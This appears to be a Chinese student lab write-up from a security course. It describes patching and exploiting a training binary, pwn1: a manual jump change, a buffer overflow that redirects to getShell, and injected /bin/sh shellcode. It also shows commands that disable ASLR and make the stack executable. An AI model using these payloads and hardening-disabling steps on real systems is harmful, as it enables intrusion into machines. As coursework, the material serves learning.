网络对抗第一次实验——PC平台逆向破解(5)M

实践一

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
操作步骤:

  • 获取实验用文件pwn1,复制,复制出来的文件改名为20155223。
  • 以文本文件形式打开可执行文件20155223。

  • 输入指令!xxd将文本以16进制显示。
  • 寻找目标:/e8d7将d7更改为c3.
  • 输入指令!xxd -r将16进制文本文件转换回原来的版本,保存后退出。
  • 在终端输入命令行:objdump -d 2015523 | more,反汇编刚才被修改后的文件。

的确有变化,函数的返回地址改了。

实践二

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
使用文件是原来的pwn1文件。
想要知道怎么样才能将覆盖到返回地址来触发getShell函数,首先要构造一条无序字节输入,然后通过反汇编来找异常地点。

  • 使用gdb打开文件pwn1,输入r让其运行,然后输入“1111111122222222333333334444444420155223”。
  • 输入命令info r,查看寄存器部分。

发现寄存器eip存储的字符为0x35303132,可以肯定eip寄存器存的是“5102”,这就肯定输入的结构要按eip的方式来构建。

  • 建造输入perl -e 'print "00000000000000000000000000000000\x7d\x84\x04\x08\x0a"' > input,,输入xxd input查看输入的16进制格式,执行程序。

实践三

注入一个自己制作的shellcode并运行这段shellcode。
shellcode为linux格式下的机器码。

  • 首先使用apt-get install execstack命令安装execstack。

  • 进行以下操作为实验3做准备。
    execstack -s pwn20155233 //设置堆栈可执行
    execstack -q pwn20155233 //查询文件的堆栈是否可执行
    more /proc/sys/kernel/randomize_va_space
    echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
    more /proc/sys/kernel/randomize_va_space
  • 构造输入。

  • 再打开另一个终端,输入ps -ef | grep pwn1。之前打开的中断输入命令(cat input_shellcode;cat) | ./pwn1

  • 然后我们来设置断点,首先输入disassemble foo,查看foo的栈地址,然后选择设置断点,break 0x080484ae。
    经过一番查找,发现16进制
    0x90909090,即发现存储地址0xffffd2b0*。

  • 修改输入:perl -e 'print "A" x 32;print "\xb0\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
  • 执行命令:(cat input_shellcode;pwn1) | ./pwn1

不知道我为什么会出现这样的结果。尽管底下出现的不是“段错误”,但是为什么会是“非法命令”。

网络对抗第一次实验——PC平台逆向破解(5)M的更多相关文章

  1. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  2. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  3. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  5. 20155217《网络对抗》Exp01 PC平台逆向破解(5)M

    20155217<网络对抗>Exp01 PC平台逆向破解(5)M 实验要求 掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码 掌握反汇编与十六进制编程器 能正确修改机器指令改变程序 ...

  6. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

随机推荐

  1. SAP wonderful links

    http://sapbrainsonline.com/help/sap-r3-architecture-introduction.html http://www.guru99.com/learning ...

  2. Android Studio支持Java1.8的解决方案

    Java1.8新添了一些特性,比如对lambda表达式的支持,父类推断等等,这篇文章讲述了1.8的新特性,有兴趣的同学可以点进去看看.但是由于AndroidStudio并不能直接支持Java1.8,我 ...

  3. Android逆向 APK文件组成

    一 了解APK文件 我们知道Android系统能运行的程序是.apk文件格式,其实它就是一个压缩包而已,把.apk修改成.zip,然后解压就可以得到该apk内部的文件结构. PS: 既然可以把apk文 ...

  4. Apache,PHP,MySQL独立安装

    最近在工作中常常接触到PHP,自己也写过一些简单的PHP页面.我们知道PHP是在服务器端运行的脚本语言,因此我们需要配置服务器环境.之前为了省事直接使用的是wamp集成环境,但是突然某一天领导要求我们 ...

  5. 想涨工资吗?那就学习Scala,Golang或Python吧

    [编者按]据薪水调查机构 PayScale 提供的数据显示,掌握 Scala,Golang 和 Python 语言以及诸如 Apache Spark 之类的大数据技术,能带来最大的薪水提升.本文作者为 ...

  6. Ehcache缓存配置和基本使用

    前言 在java项目广泛的使用中.它是一个开源的.设计于提高在数据从RDBMS中取出来的高花费.高延迟采取的一种缓存方案. 正因为Ehcache具有健壮性(基于java开发).被认证(具有apache ...

  7. 【转】Linux思维导图

    [原文]https://www.toutiao.com/i6591690511763898888/ 1.Linux学习路径: 2.Linux桌面介绍: 3.FHS(文件系统目录标准): 4.Linux ...

  8. 35_张孝祥Java高新技术_为注解增加各种属性

    注解的作用之所以那么强大,就是因为它有属性 注解很像接口,属性很像方法.   什么是注解的属性 一个注解相当于一个胸牌,如果你胸前贴了胸牌,就是传智播客的学生,否则,就不是.如果还想区分出事传智播客 ...

  9. Linux查看系统负载(CPU和MEM考虑)

    查看占用CPU最高的10个进程 [tidb@:vg_adn_tidbCkhsTest:| head mysql ? Sl Nov22 : /usr/local/mysql/bin/mysqld --b ...

  10. 扫描神器--nmap

    BASIC SCANNING TECHNIQUES Goal command example Scan a Single Target nmap [target] nmap 192.168.0.1 S ...